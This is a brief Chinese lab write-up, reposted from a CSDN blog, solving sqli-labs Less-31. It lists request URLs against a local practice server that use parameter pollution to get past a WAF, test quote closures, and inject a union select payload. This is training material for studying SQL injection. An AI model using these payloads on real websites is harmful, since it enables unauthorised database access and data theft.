sqli-labs (less-31)

sqli-labs (less-31)

进入31,这里我们直接查看源文件

依然存在login.php文件

http://127.0.0.1/sql1/Less-31/login.php?id=1

http://127.0.0.1/sql1/Less-31/login.php?id=1'


WAF成功抵挡攻击

http://127.0.0.1/sql1/Less-31/login.php?id=1&id=2

http://127.0.0.1/sql1/Less-31/login.php?id=1&id=2' #回显正常
http://127.0.0.1/sql1/Less-31/login.php?id=1&id=2" #回显错误


根据错误信息判断闭合方式为")–+,并且为字符型注入

判断回显位置

http://127.0.0.1/sql1/Less-31/login.php?id=1&id=-2") union select 1,2,3--+


接下来的步骤与less-29一模一样,这里不具体介绍,具体过程请看我的less-29

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转载自blog.csdn.net/kukudeshuo/article/details/114764885